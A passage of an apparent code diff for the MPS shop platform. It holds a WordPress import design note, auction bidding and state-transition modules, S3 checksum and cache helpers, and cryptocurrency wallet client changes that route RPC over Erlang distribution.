strip_suffix -> download;
download -> upload_s3;
upload_s3 -> rewrite;
rewrite -> converter;
converter -> figures;
converter -> code;
converter -> headings;
figures -> collapse [style=invis];
code -> collapse [style=invis];
headings -> collapse;
collapse -> metadata;
metadata -> flag;
flag -> output;
}
```
![HTML Conversion Pipeline](wordpress-import-html.dot.svg)
### Library Choice: markdownify (MIT license)
`markdownify` over `html2text` (GPL-3.0) because:
- MIT license vs GPL-3.0
- Subclassing allows per-tag override for WP-specific patterns
- Better handling of nested lists, figures, code blocks
- BeautifulSoup backend enables pre-processing in the same pipeline
### Shortcode Handling
| Shortcode | Strategy |
|-----------|----------|
| `[gallery ids="1,2,3"]` | Resolve attachment IDs to image URLs, emit markdown images |
| `[caption]...[/caption]` | Convert to `<figure>`, let markdownify handle |
| `[embed]URL[/embed]` | Extract bare URL |
| `[video]` / `[audio]` | Extract src URL |
| `[vc_*]` (WPBakery) | Strip shortcode tags, keep inner content |
| `[et_pb_*]` (Divi) | Strip shortcode tags, keep inner content |
| `[fusion_*]` (Avada) | Strip shortcode tags, keep inner content |
| Unknown shortcodes | Strip tags, keep inner content, log warning |
### Page Builder Content
Page builders (Elementor, Divi, WPBakery, Beaver Builder) store layout as
shortcodes or custom block markup. After stripping layout shortcodes, the
remaining text content is usually extractable. Posts with heavy page builder
usage are flagged for manual review in the import report.
**Best practice:** If the WordPress site is still running, install the
"Export Without Shortcodes" plugin before exporting. This renders shortcodes
to HTML during WXR export, producing much cleaner content.
## Product Creation Flow
For each imported post/page, the script follows the same code path as
`views/product.py:product_new()`:
```python
product = Product(title, description_markdown)
product.shop = shop
product.is_sellable = False
product.is_bundle = False
product.is_physical = False
product.visibility = visibility # mapped from WP status
product.created_timestamp = wp_timestamp_to_ms(post_date_gmt)
product.updated_timestamp = wp_timestamp_to_ms(modified_gmt)
# Override description_html with the pre-rendered HTML
# (markdownify round-trip may differ from MPS markdown renderer)
product.description_html = rendered_html
dbsession.add(product)
dbsession.flush()
```
### S3 Upload (bypassing browser upload flow)
The import script writes directly to S3, bypassing the presigned-URL webhook
flow used by the browser:
```python
s3_client.put_object(
Bucket=bucket_name,
Key=f"{product.s3_path}/thumbnail1",
Body=image_bytes,
ContentType=content_type,
ACL="public-read", # content thumbnails are always public
CacheControl="private, max-age=172800",
)
product.set_file_metadata("thumbnail1", extension, original_filename)
product.file_bytes = {"thumbnail1": len(image_bytes)}
```
### Discovery Ring
After all products are imported, trigger a single discovery ring reforge:
```python
from make_post_sell.models.shop import reforge_discovery_ring
reforge_discovery_ring(shop)
```
This computes the greedy nearest-neighbor ordering across all public products
using stemmed word Jaccard similarity.
## CLI Interface
```
usage: import_wordpress.py [-h] --config INI --shop-id UUID
[--source-url URL | --wxr-file FILE]
[--dry-run] [--skip-media] [--skip-comments]
[--delay MS] [--verbose]
Import a WordPress site into an MPS shop.
required:
--config INI Path to MPS .ini config (e.g. data/development.ini)
--shop-id UUID Target MPS shop UUID
source (one required):
--source-url URL WordPress site URL (uses REST API)
--wxr-file FILE Path to WXR XML export file
options:
--dry-run Parse and report without writing to DB or S3
--skip-media Skip image download/upload (keep original URLs)
--skip-comments Skip comment import
--delay MS Delay between API requests in ms (default: 200)
--verbose Print detailed progress
```
## Import Report
The script prints a summary after completion:
```
WordPress Import Complete
─────────────────────────
Source: https://example.com (REST API)
Target: My Shop (shop_id: abc123...)
Duration: 2m 34s
Posts imported: 47 / 50 (3 skipped: empty content)
Pages imported: 12 / 12
Images downloaded: 183
Images uploaded: 183
Comments imported: 234
Categories found: 8
Tags found: 24
Warnings:
- 3 posts had page builder shortcodes (flagged for review)
- 2 images returned 404 (kept original URLs)
- 1 post title truncated from 312 to 256 chars
Discovery ring reforged with 59 products.
```
## Dependencies
| Package | Purpose | License |
|---------|---------|---------|
| `markdownify` | HTML→Markdown conversion | MIT |
| `beautifulsoup4` | HTML pre-processing | MIT |
| `requests` | HTTP client (REST API + image downloads) | Apache-2.0 |
| `lxml` | Fast XML parsing for large WXR files | BSD |
All are pip-installable. `requests` and `beautifulsoup4` are likely already
in the MPS dependency tree.
## Competitive Landscape
How other platforms handle WordPress migration:
| Platform | Input | Posts | Pages | Images | Comments | Shortcodes |
|----------|-------|-------|-------|--------|----------|------------|
| **Ghost** | WXR | Yes | Yes | Scraped from live site | No (no comment system) | Partial (vc_, et_) |
| **Squarespace** | WXR | Yes | Yes | Linked (not re-hosted) | Yes | No |
| **Shopify** | Third-party apps | Yes | Limited | Via apps | No | No |
| **Substack** | WXR | Yes | No | Linked | No | No |
| **Eleventy** | REST API | Yes | Yes | Downloaded + re-hosted | No | No |
| **Hugo (wp2hugo)** | WXR | Yes | Yes | Downloaded | Optional | Best (converts to Hugo shortcodes) |
| **MPS (this)** | REST API + WXR | Yes | Yes | Downloaded + re-hosted to S3 | Yes (threaded) | Strip + keep content |
### MPS advantages over competitors
1. **Both input modes** — REST API (zero-touch) and WXR (offline). Most competitors support only one.
2. **Image re-hosting** — Downloads and uploads to S3/CDN. Squarespace and Substack leave images on the old server (break when it goes down).
3. **Comments** — Threaded comment import. Ghost and Substack have no comment system. Squarespace imports but loses threading.
4. **Existing content features** — Search, RSS/Atom feeds, sitemap, comments, watch mode, discovery ring all work on imported content with zero additional setup.
5. **No vendor lock-in** — BYOB (Bring Your Own Bucket) means media stays on infrastructure the shop owner controls.
### Common migration complaints (from competitor users)
1. **Images break** — #1 complaint across all platforms. We solve this by downloading + re-hosting.
2. **Shortcode garbage** — Page builder content becomes unreadable. We strip layout shortcodes and keep text content, flagging posts for review.
3. **Formatting loss** — We preserve HTML and also generate markdown for future editing.
4. **SEO loss** — Average 523-day recovery from botched migration. We preserve dates, slugs, and content structure.
5. **Timeouts on large sites** — We paginate (REST API) and stream-parse (WXR) to handle any size.
## Future Enhancements
- **Web UI** — Upload WXR file through shop settings (new `form_section: import-settings`)
- **WooCommerce products** — Import sellable products with prices (`is_sellable=True`)
- **URL redirect map** — Generate nginx/Caddy redirect rules from old URLs to new MPS URLs
- **Incremental sync** — Re-run import to pick up new posts (skip existing by slug match)
- **Elementor JSON** — Parse Elementor's post meta JSON for richer content extraction
- **Multi-author** — Create MPS editor accounts per WordPress author

224
make_post_sell/lib/auction.py Normal file
View file

@ -0,0 +1,224 @@
"""Auction logic — MPS-20.
Pure functions for bid validation, soft-close math, and proxy resolution.
An orchestrator (place_bid) writes the bid + applies side effects.
Soft-close: a bid placed within `soft_close_seconds` of `end_timestamp`
extends the end by `soft_close_seconds`. eBay-style anti-snipe.
Proxy bidding (eBay-style):
- Each bidder may submit a `max_proxy_in_cents` — the secret ceiling they're
willing to pay. The visible bid (`amount_in_cents`) is what shows on the
auction page; the proxy is hidden.
- When a new bid arrives, we compare the new bidder's max_proxy to the
current winner's max_proxy. The bidder with the higher proxy stays
winning at min(loser_proxy + increment, winner_proxy). The loser sees
their bid recorded at their actual amount, but they're outbid.
- A new bid where max_proxy is None defaults to the visible amount —
no auto-incrementing.
Tie-breaking: identical proxies → the existing winner stays (first-in wins).
"""
from ..models.auction import (
AUCTION_STATE_ACTIVE,
MpsAuction,
MpsBid,
now_timestamp,
)
class BidRejected(Exception):
"""Raised when a bid cannot be accepted. Reason in .args[0]."""
# ── Pure helpers ─────────────────────────────────────────────────────────────
def validate_bid(
auction_state,
current_high_in_cents,
bid_increment_in_cents,
start_price_in_cents,
has_bids,
amount_in_cents,
max_proxy_in_cents=None,
):
"""Raise BidRejected if the bid is invalid; return None otherwise.
Pure: no side effects, no DB. Caller passes raw scalars so this fn is
100% unit-testable without a fixture.
Rules:
- auction must be in ACTIVE state
- amount must be a positive integer
- first bid: amount >= start_price
- subsequent bids: amount >= current_high + increment
- max_proxy (if set) must be >= amount
"""
if auction_state != AUCTION_STATE_ACTIVE:
raise BidRejected("auction is not active")
if not isinstance(amount_in_cents, int) or amount_in_cents <= 0:
raise BidRejected("bid amount must be a positive integer (cents)")
if max_proxy_in_cents is not None:
if not isinstance(max_proxy_in_cents, int) or max_proxy_in_cents < amount_in_cents:
raise BidRejected("max proxy must be >= bid amount")
if not has_bids:
if amount_in_cents < start_price_in_cents:
raise BidRejected(
f"bid below start price ({start_price_in_cents} cents)"
)
else:
floor = current_high_in_cents + bid_increment_in_cents
if amount_in_cents < floor:
raise BidRejected(
f"bid below current high + increment ({floor} cents)"
)
def is_within_soft_close(end_timestamp, now_ms, soft_close_seconds):
"""Pure: is `now_ms` inside the soft-close window?"""
if not end_timestamp or not soft_close_seconds:
return False
window_ms = soft_close_seconds * 1000
return (end_timestamp - now_ms) < window_ms and now_ms <= end_timestamp
def extended_end_timestamp(now_ms, soft_close_seconds):
"""Pure: new end_timestamp after soft-close fires."""
return now_ms + (soft_close_seconds * 1000)
def resolve_proxy(
top_amount_in_cents,
top_max_proxy_in_cents,
new_amount_in_cents,
new_max_proxy_in_cents,
bid_increment_in_cents,
):
"""Pure: given the current top bid and a new incoming bid (with optional
proxies), return (winning_amount_in_cents, new_bidder_wins).
- top_max_proxy and new_max_proxy default to their respective visible
amounts when callers pass None (no proxy submitted).
- Tie on max_proxy: existing top stays winning (first-in wins).
Returns:
(winning_amount_in_cents, new_bidder_wins) where new_bidder_wins
is True iff the incoming bidder takes the lead.
"""
top_proxy = (
top_max_proxy_in_cents
if top_max_proxy_in_cents is not None
else top_amount_in_cents
)
new_proxy = (
new_max_proxy_in_cents
if new_max_proxy_in_cents is not None
else new_amount_in_cents
)
if new_proxy > top_proxy:
# New bidder wins. Their visible amount auto-increments past
# the prior top's proxy, capped at their own proxy ceiling.
winning = min(top_proxy + bid_increment_in_cents, new_proxy)
# Floor: at least max(new_amount_in_cents, top_amount_in_cents + increment)
winning = max(winning, new_amount_in_cents)
return (winning, True)
# Existing top stays. Their visible amount auto-increments to defend
# against the new bid, capped at their own proxy ceiling.
winning = min(new_proxy + bid_increment_in_cents, top_proxy)
# Floor: never less than current top's visible amount.
winning = max(winning, top_amount_in_cents)
return (winning, False)
# ── Orchestrator ─────────────────────────────────────────────────────────────
def place_bid(
auction,
bidder,
amount_in_cents,
max_proxy_in_cents=None,
now_ms=None,
):
"""Place a bid on `auction` by `bidder`. Writes the bid, updates the
auction (soft-close, winning bid pointer), marks the prior winning bid
as outbid. Caller is responsible for transaction.commit().
Returns the new MpsBid on success. Raises BidRejected on rejection.
Block self-bidding (bidder == seller): caller's responsibility — the
pure validate_bid does not have visibility into seller identity.
"""
if now_ms is None:
now_ms = now_timestamp()
has_bids = auction.bids.count() > 0
validate_bid(
auction_state=auction.state,
current_high_in_cents=auction.current_high_in_cents,
bid_increment_in_cents=auction.bid_increment_in_cents,
start_price_in_cents=auction.start_price_in_cents,
has_bids=has_bids,
amount_in_cents=amount_in_cents,
max_proxy_in_cents=max_proxy_in_cents,
)
dbsession = auction.dbsession
# Find the current winning bid (if any) — only one per auction.
prior_winner = (
dbsession.query(MpsBid)
.filter(MpsBid.auction_id == auction.id, MpsBid.is_winning.is_(True))
.one_or_none()
)
bid = MpsBid(
auction=auction,
bidder=bidder,
amount_in_cents=amount_in_cents,
max_proxy_in_cents=max_proxy_in_cents,
)
if prior_winner is None:
# First bid takes the lead at face value.
bid.is_winning = True
dbsession.add(bid)
else:
winning_amount, new_bidder_wins = resolve_proxy(
top_amount_in_cents=prior_winner.amount_in_cents,
top_max_proxy_in_cents=prior_winner.max_proxy_in_cents,
new_amount_in_cents=amount_in_cents,
new_max_proxy_in_cents=max_proxy_in_cents,
bid_increment_in_cents=auction.bid_increment_in_cents,
)
if new_bidder_wins:
prior_winner.is_winning = False
prior_winner.outbid_timestamp = now_ms
bid.amount_in_cents = winning_amount
bid.is_winning = True
dbsession.add(bid)
else:
# New bid is recorded but loses; defending top auto-bids up.
bid.is_winning = False
bid.outbid_timestamp = now_ms
dbsession.add(bid)
prior_winner.amount_in_cents = winning_amount
# Soft-close: extend if bid arrived in the closing window.
if is_within_soft_close(
auction.end_timestamp, now_ms, auction.soft_close_seconds,
):
auction.end_timestamp = extended_end_timestamp(
now_ms, auction.soft_close_seconds,
)
auction.updated_timestamp = now_ms
dbsession.flush()
return bid

104
make_post_sell/lib/auction_tick.py Normal file
View file

@ -0,0 +1,104 @@
"""auction_tick — scheduled state transitions for MpsAuction.
Pure functions are unit-testable without a Pyramid environment; the
script entry point in scripts/auction_tick.py drives them with a real
dbsession.
Transitions:
SCHEDULED + start_timestamp passed → ACTIVE
ACTIVE + end_timestamp passed → ENDED (winner = is_winning bidder)
Idempotent: running the tick twice in a row is a no-op for any auction
that has already transitioned past the matching threshold.
"""
from ..models.auction import (
AUCTION_STATE_ACTIVE,
AUCTION_STATE_ENDED,
AUCTION_STATE_SCHEDULED,
MpsAuction,
MpsBid,
now_timestamp,
)
from .notifications import (
notify_auction_won,
notify_auction_ended_no_winner,
)
def transition_scheduled_to_active(auction, now_ms):
"""Pure: returns True iff the auction should transition.
Caller (orchestrator) mutates state."""
if auction.state != AUCTION_STATE_SCHEDULED:
return False
if auction.start_timestamp is None:
return False
return now_ms >= auction.start_timestamp
def transition_active_to_ended(auction, now_ms):
"""Pure: returns True iff the active auction should end now."""
if auction.state != AUCTION_STATE_ACTIVE:
return False
if auction.end_timestamp is None:
return False
return now_ms >= auction.end_timestamp
def tick(dbsession, now_ms=None):
"""Run state transitions on every non-terminal auction.
Returns a dict {activated: int, ended: int} of how many auctions
moved each direction. Caller (script entry point) handles its own
transaction/commit boundary.
"""
if now_ms is None:
now_ms = now_timestamp()
activated = 0
ended = 0
# Pull all auctions that could need a transition. Two simple queries
# avoid scanning the whole table — no MOAD-0001 here.
scheduled = (
dbsession.query(MpsAuction)
.filter(MpsAuction.state == AUCTION_STATE_SCHEDULED)
.filter(MpsAuction.start_timestamp <= now_ms)
.all()
)
for auction in scheduled:
auction.state = AUCTION_STATE_ACTIVE
auction.updated_timestamp = now_ms
activated += 1
active = (
dbsession.query(MpsAuction)
.filter(MpsAuction.state == AUCTION_STATE_ACTIVE)
.filter(MpsAuction.end_timestamp <= now_ms)
.all()
)
for auction in active:
auction.state = AUCTION_STATE_ENDED
auction.updated_timestamp = now_ms
# Record winner from is_winning bid (if any).
winning_bid = (
dbsession.query(MpsBid)
.filter_by(auction_id=auction.id, is_winning=True)
.one_or_none()
)
if winning_bid is not None:
auction.winner_user_id = winning_bid.bidder_user_id
auction.winning_bid_id = winning_bid.id
# Set payment deadline to end + 48h by default.
auction.payment_deadline_timestamp = now_ms + 48 * 3600 * 1000
# winner relationship is needed by the notifier — make
# sure the FK is resolved into the in-session object.
dbsession.flush()
notify_auction_won(dbsession, auction)
else:
notify_auction_ended_no_winner(dbsession, auction)
ended += 1
return {"activated": activated, "ended": ended}

27
make_post_sell/lib/cache_version.py Normal file
View file

@ -0,0 +1,27 @@
import hashlib
from ..views.version import GIT_HASH
def compute_cache_version(shop):
"""Opaque token that changes when deploys land or the ring is reforged.
Clients compare this to their localStorage copy; mismatch means
cached ring state (ringProductIds, ringPosition, ringHistory) is
stale and should be dropped before the next SPA navigation.
Inputs:
GIT_HASH — shifts on every deploy
shop.json_discovery_ring — shifts on every reforge (including
product adds/removes/visibility flips that trigger reforge)
"""
ring_str = (shop.json_discovery_ring or "") if shop is not None else ""
digest = hashlib.md5(f"{GIT_HASH}:{ring_str}".encode()).hexdigest()
return digest[:12]
def apply_no_store_headers(response):
"""Tell browsers not to cache this HTML response — always revalidate."""
response.headers["Cache-Control"] = "no-store, must-revalidate"
response.headers["Pragma"] = "no-cache"
response.headers["Expires"] = "0"

90
make_post_sell/lib/checksums.py Normal file
View file

@ -0,0 +1,90 @@
"""checksums.py — background MD5 + SHA-256 computation for uploaded files.
After a file lands in its final S3 location, compute both checksums by streaming
the object through Python's hashlib. Results are stored in the product's
file_metadata under {"checksums": {file_key: {"md5": "...", "sha256": "..."}}}.
Fire-and-forget daemon thread — same pattern as torrent.py and s3_mirror.py.
"""
import hashlib
import logging
import threading
import boto3
log = logging.getLogger(__name__)
def _capture_s3_creds(client):
creds = client._request_signer._credentials
meta = client.meta
return {
"endpoint": meta.endpoint_url,
"region": meta.region_name,
"access_key": creds.access_key,
"secret_key": creds.secret_key,
}
def _make_client(creds):
return boto3.session.Session().client(
"s3",
region_name=creds["region"],
endpoint_url=creds["endpoint"],
aws_access_key_id=creds["access_key"],
aws_secret_access_key=creds["secret_key"],
)
def compute_checksums(s3_client, bucket, s3_key, file_key, product_id, session_factory):
"""Stream s3_key, compute MD5 + SHA-256, save to product file_metadata.
Designed to run in a background thread.
"""
log.info("checksums: computing for product=%s key=%s", product_id, s3_key)
md5 = hashlib.md5()
sha256 = hashlib.sha256()
try:
response = s3_client.get_object(Bucket=bucket, Key=s3_key)
for chunk in response["Body"].iter_chunks(chunk_size=1024 * 1024):
md5.update(chunk)
sha256.update(chunk)
except Exception:
log.exception("checksums: failed to stream s3://%s/%s", bucket, s3_key)
return
md5_hex = md5.hexdigest()
sha256_hex = sha256.hexdigest()
log.info("checksums: product=%s key=%s md5=%s sha256=%s",
product_id, s3_key, md5_hex, sha256_hex[:16] + "...")
try:
with session_factory() as session:
from ..models.product import Product
product = session.get(Product, product_id)
if product is not None:
product.set_checksum(file_key, md5_hex, sha256_hex)
session.add(product)
session.commit()
log.info("checksums: saved for product=%s file_key=%s", product_id, file_key)
except Exception:
log.exception("checksums: failed to save for product=%s", product_id)
def compute_checksums_async(s3_client, bucket, s3_key, file_key, product_id, session_factory):
"""Fire-and-forget: compute checksums in a daemon thread."""
creds = _capture_s3_creds(s3_client)
def _run():
try:
fresh_client = _make_client(creds)
compute_checksums(fresh_client, bucket, s3_key, file_key, product_id, session_factory)
except Exception:
log.exception("checksums: background thread failed for product=%s", product_id)
t = threading.Thread(target=_run, daemon=True, name=f"checksums-{product_id}-{file_key}")
t.start()
log.info("checksums: background thread started for product=%s file_key=%s", product_id, file_key)

67
make_post_sell/lib/crypto_watcher/__init__.py
View file

@ -21,6 +21,7 @@ from ..mail import (
send_refund_email,
send_no_refund_shop_notification,
)
from ..notifications import notify_purchase_and_sale
from ...models.inventory import get_inventory_by_product_and_shop_location
from .crypto_payment_rescue import PaymentRescue
from ...models.meta import now_timestamp
@ -1274,6 +1275,36 @@ class ShopContextRequestWrapper:
"""Proxy app attribute from original request."""
return getattr(self._original_request, "app", {})
@property
def shop(self):
"""The shop this wrapped request is scoped to. Used by
derivative properties (e.g. shop_cdn_endpoint) that would
otherwise return None — env_request from the watcher loop
doesn't carry a request.shop."""
return self._shop
@property
def shop_cdn_endpoint(self):
"""Mirror of the regular `request.shop_cdn_endpoint` reified
method (see request_methods.py:add_shop_cdn_endpoint). Used by
send_purchase_email + send_sale_email to build product
thumbnail URLs. Without this, the proxy fell through to None
and the email's <img src> rendered as `None/<path>/...`."""
shop = self._shop
# BYOB shop with an explicit CDN endpoint wins.
if shop is not None and getattr(shop, "has_primary_s3", False):
byob = shop.primary_s3_cdn_endpoint
if byob:
return byob
# Otherwise fall back to the MPS-default public CDN.
app = getattr(self._original_request, "app", None)
if app is None:
return None
try:
return app["bucket.secure_uploads.get_endpoint"]
except Exception:
return None
def create_shop_context_request(env_request, crypto_payment: CryptoPayment):
"""Create a request wrapper with shop domain context for email generation."""
@ -1566,6 +1597,11 @@ def finalize_invoice(env_request, crypto_payment: CryptoPayment, send_emails=Tru
[item.product for item in invoice.line_items],
invoice.total,
)
# Drop in-app notifications alongside the sale email — the
# sales_email_sent flag is a proxy for "this finalization
# already ran"; gating here prevents a rescan from
# writing duplicate notification rows.
notify_purchase_and_sale(email_request, invoice)
crypto_payment.sales_email_sent = True
# Deduct inventory for physical products if a shop location is known
@ -2144,8 +2180,12 @@ def process_payment(
# Send refund email notification
if crypto_payment.invoice and crypto_payment.invoice.user:
try:
# Create shop context request
email_request = create_shop_context_request(
env_request, crypto_payment
)
send_refund_email(
env_request,
email_request,
crypto_payment.invoice.user.email,
crypto_payment,
refund_details,
@ -2655,6 +2695,9 @@ def process_payment(
[item.product for item in crypto_payment.invoice.line_items],
crypto_payment.invoice.total,
)
notify_purchase_and_sale(
email_request, crypto_payment.invoice,
)
crypto_payment.sales_email_sent = True
log.payment_info(crypto_payment, "Sales notification email sent")
except Exception as e:
@ -2700,6 +2743,9 @@ def process_payment(
[item.product for item in crypto_payment.invoice.line_items],
crypto_payment.invoice.total,
)
notify_purchase_and_sale(
email_request, crypto_payment.invoice,
)
crypto_payment.sales_email_sent = True
log.payment_info(
crypto_payment,
@ -2902,10 +2948,17 @@ def process_payment(
)
# Send refund email notification
if crypto_payment.invoice and crypto_payment.invoice.user:
if (
crypto_payment.invoice
and crypto_payment.invoice.user
):
try:
# Create shop context request
email_request = create_shop_context_request(
env_request, crypto_payment
)
send_refund_email(
env_request,
email_request,
crypto_payment.invoice.user.email,
crypto_payment,
refund_details,
@ -3279,10 +3332,10 @@ def process_refund_confirmations(request, settings):
# Send refund email notification
if payment.invoice and payment.invoice.user:
try:
# Create a basic request object for email context
from pyramid.testing import DummyRequest
email_request = DummyRequest()
email_request.registry = request.registry
# Create shop context request
email_request = create_shop_context_request(
request, payment
)
send_refund_email(
email_request,
payment.invoice.user.email,

61
make_post_sell/lib/crypto_watcher/crypto_clients.py
View file

@ -523,15 +523,39 @@ class MockDogecoinClient:
}
def get_client_from_settings(settings) -> MoneroClient:
def get_client_from_settings(settings):
"""
Helper to construct a client from Pyramid settings.
Expects keys:
monero.rpc_url, monero.rpc_user, monero.rpc_pass
Construct a Monero client from Pyramid settings.
Three transports, checked in order:
1. Mock mode (``monero.mock = true``) — returns ``MockMoneroClient``.
Test-only path.
2. Cluster RPC (``wallet_dist.enabled = true``) — returns an
``ErlangDistMoneroClient`` that forwards calls to
``Wallet.Service`` on cammy via the portal bridge. Consolidates
wallet hosting onto cammy; mps-uwsgi1 no longer needs a local
``monero-wallet-rpc`` once this is on.
3. Local HTTP daemon (``monero.rpc_url``) — current default,
backwards-compatible.
Toggle (2) is the consolidation path. To roll back: set
``wallet_dist.enabled = false`` in production.ini and restart
crypto_watcher; the factory drops back to the local daemon path
(which is why we don't decommission the local daemons in the same
cutover).
"""
if str(settings.get("monero.mock", "false")).lower() in ("1", "true", "yes"):
path = settings.get("monero.mock_transfers_file") or "mock_transfers.json"
return MockMoneroClient(path)
if _wallet_dist_enabled(settings):
from .erldist_clients import ErlangDistMoneroClient
from .wallet_dist_config import load_wallet_dist_config_from_settings
cfg = load_wallet_dist_config_from_settings(settings)
return ErlangDistMoneroClient(**cfg.client_kwargs())
rpc_url = settings.get("monero.rpc_url")
if not rpc_url:
raise RuntimeError("monero.rpc_url not configured")
@ -544,17 +568,27 @@ def get_client_from_settings(settings) -> MoneroClient:
def get_dogecoin_client_from_settings(settings):
"""
Helper to construct a Dogecoin client from Pyramid settings.
Construct a Dogecoin client from Pyramid settings.
Uses standard Dogecoin Core RPC - works with both full and pruned nodes.
Pruned mode recommended: only ~2GB storage vs 50GB for full node.
Same three-transport branching as ``get_client_from_settings``:
mock → cluster RPC → local daemon. The cluster RPC path returns
an ``ErlangDistDogecoinClient`` that routes through
``Wallet.Service`` on cammy via the portal bridge.
Settings:
dogecoin.rpc_url, dogecoin.rpc_user, dogecoin.rpc_pass
Local-daemon mode (``dogecoin.rpc_url``) stays the default until
``wallet_dist.enabled`` is flipped on. Pruned local mode is
recommended for the legacy path (~2GB vs 50GB).
"""
if str(settings.get("dogecoin.mock", "false")).lower() in ("1", "true", "yes"):
return MockDogecoinClient()
if _wallet_dist_enabled(settings):
from .erldist_clients import ErlangDistDogecoinClient
from .wallet_dist_config import load_wallet_dist_config_from_settings
cfg = load_wallet_dist_config_from_settings(settings)
return ErlangDistDogecoinClient(**cfg.client_kwargs())
rpc_url = settings.get("dogecoin.rpc_url")
if not rpc_url:
raise RuntimeError("dogecoin.rpc_url not configured")
@ -564,3 +598,12 @@ def get_dogecoin_client_from_settings(settings):
rpc_user=settings.get("dogecoin.rpc_user"),
rpc_pass=settings.get("dogecoin.rpc_pass"),
)
def _wallet_dist_enabled(settings) -> bool:
return str(settings.get("wallet_dist.enabled", "false")).strip().lower() in (
"1",
"true",
"yes",
"on",
)

663
make_post_sell/lib/crypto_watcher/erldist_clients.py Normal file
View file

@ -0,0 +1,663 @@
"""
Native Erlang distribution clients for Wallet.Service on wallet@cammy.
Drop-in alternatives to ``MoneroClient`` and ``DogecoinClient`` (and new
``BitcoinClient`` / ``LitecoinClient`` surfaces) that route wallet RPC
through Wallet.Service on cammy via Erlang dist (``erldistpy``) instead
of hitting daemons directly. The public method signatures mirror the
existing direct-HTTP clients so the watcher loop can swap transports
per shop without further changes.
Why both transports exist:
- Existing direct-HTTP clients (this file's siblings) talk to
daemons co-located with the MPS Pyramid process. Self-contained,
no external dependency.
- These dist clients call into Wallet.Service on cammy, which owns
the daemon credentials. Lets us drain wallet daemons off the MPS
droplet to right-size hosting; each shop opts in by setting a
transport config.
Lazy import: ``erldistpy`` is only imported when a dist client is
constructed. MPS deploys that stick with the HTTP transport never need
erldistpy installed.
Operation Voyeur: ``cookie`` is a string the caller has already read
from a file path. TLS material (``tls_cert``, ``tls_key``, ``tls_ca``)
are file paths loaded by OpenSSL — no PEM bytes enter Python memory.
"""
from __future__ import annotations
from decimal import Decimal
from typing import Any, Dict, List, Optional, Tuple
WALLET_SERVICE_NAME = "Elixir.Wallet.Service"
def _make_node(
*,
our_name: str,
peer_name: str,
cookie: str,
peer_host: str = "localhost",
connect_timeout: float = 5.0,
tls_cert: Optional[str] = None,
tls_key: Optional[str] = None,
tls_ca: Optional[str] = None,
):
"""Open an ``erldistpy.Node`` against the wallet node.
Lazy import so ``erldistpy`` is only required when a dist client is
actually constructed.
"""
from erldistpy import Node, make_dist_tls_context
tls_context = None
if tls_cert and tls_key and tls_ca:
tls_context = make_dist_tls_context(cert=tls_cert, key=tls_key, ca=tls_ca)
return Node(
our_name=our_name,
peer_name=peer_name,
cookie=cookie,
peer_host=peer_host,
connect_timeout=connect_timeout,
tls_context=tls_context,
)
def _atom(name: str):
"""Build an ETF atom term. Lazy import for the same reason as Node."""
from erldistpy import Atom
return Atom(name)
def _to_python(value: Any) -> Any:
"""Translate ETF-decoded terms back to JSON-shaped Python values.
Atoms decode to their name string. Binaries to utf-8 strings when
decodable (fall back to raw bytes). Maps/lists/tuples recurse so
the watcher sees the same dict shape it gets from the HTTP client.
"""
from erldistpy import Atom
if isinstance(value, Atom):
return value.name
if isinstance(value, bytes):
try:
return value.decode("utf-8")
except UnicodeDecodeError:
return value
if isinstance(value, dict):
return {_to_python(k): _to_python(v) for k, v in value.items()}
if isinstance(value, list):
return [_to_python(x) for x in value]
if isinstance(value, tuple):
return tuple(_to_python(x) for x in value)
return value
def _unwrap_ok(reply: Any, what: str) -> Any:
"""Unwrap ``{:ok, value}`` or raise on ``{:error, ...}``.
Wallet.Service replies match one of these shapes:
- ``(Atom("ok"), value)`` → return ``_to_python(value)``
- ``(Atom("error"), reason)`` → raise ``WalletDistError``
- bare value (e.g. integer/string for direct RPC passthroughs) →
return as-is after ``_to_python``
"""
if isinstance(reply, tuple) and len(reply) == 2:
head = reply[0]
from erldistpy import Atom
if isinstance(head, Atom):
if head.name == "ok":
return _to_python(reply[1])
if head.name == "error":
detail = _to_python(reply[1])
raise WalletDistError(f"{what} failed: {detail!r}")
# Some Wallet.Service handlers return the raw value (no ok-tuple),
# e.g. utxo passthroughs that return what bitcoind sent.
return _to_python(reply)
class WalletDistError(RuntimeError):
"""Wallet.Service returned an ``{:error, _}`` tuple."""
# ---------------------------------------------------------------------------
# Connection wrapper — holds the erldistpy.Node and exposes call(msg)
# ---------------------------------------------------------------------------
class _DistConn:
"""Thin wrapper so client classes can share one Node instance.
Use ``open()`` to construct, ``close()`` when done. Each ``.call()``
forwards to the Wallet.Service registered process and translates
timeouts to a domain error.
"""
def __init__(
self,
*,
our_name: str,
peer_name: str,
cookie: str,
peer_host: str = "localhost",
call_timeout: float = 15.0,
connect_timeout: float = 5.0,
tls_cert: Optional[str] = None,
tls_key: Optional[str] = None,
tls_ca: Optional[str] = None,
registered_name: str = WALLET_SERVICE_NAME,
):
self._call_timeout = call_timeout
self._registered_name = registered_name
self._node = _make_node(
our_name=our_name,
peer_name=peer_name,
cookie=cookie,
peer_host=peer_host,
connect_timeout=connect_timeout,
tls_cert=tls_cert,
tls_key=tls_key,
tls_ca=tls_ca,
)
def call(self, msg: Any, timeout: Optional[float] = None) -> Any:
from erldistpy import CallTimeout, NodeError
try:
return self._node.call(
self._registered_name, msg, timeout=timeout or self._call_timeout
)
except CallTimeout as e:
raise WalletDistError(f"wallet RPC timed out: {e}") from e
except NodeError as e:
raise WalletDistError(f"wallet RPC error: {e}") from e
def close(self) -> None:
self._node.close()
def __enter__(self) -> "_DistConn":
return self
def __exit__(self, *_a) -> None:
self.close()
# ---------------------------------------------------------------------------
# Monero
# ---------------------------------------------------------------------------
class ErlangDistMoneroClient:
"""Drop-in replacement for ``MoneroClient`` over Erlang dist.
Mirrors ``MoneroClient``'s public surface so the crypto_watcher loop
can swap transports without code changes.
"""
def __init__(
self,
*,
our_name: str,
peer_name: str,
cookie: str,
peer_host: str = "localhost",
call_timeout: float = 15.0,
connect_timeout: float = 5.0,
tls_cert: Optional[str] = None,
tls_key: Optional[str] = None,
tls_ca: Optional[str] = None,
registered_name: str = WALLET_SERVICE_NAME,
):
self._conn = _DistConn(
our_name=our_name,
peer_name=peer_name,
cookie=cookie,
peer_host=peer_host,
call_timeout=call_timeout,
connect_timeout=connect_timeout,
tls_cert=tls_cert,
tls_key=tls_key,
tls_ca=tls_ca,
registered_name=registered_name,
)
def close(self) -> None:
self._conn.close()
def __enter__(self) -> "ErlangDistMoneroClient":
return self
def __exit__(self, *_a) -> None:
self.close()
# ------ Address creation
def create_subaddress(
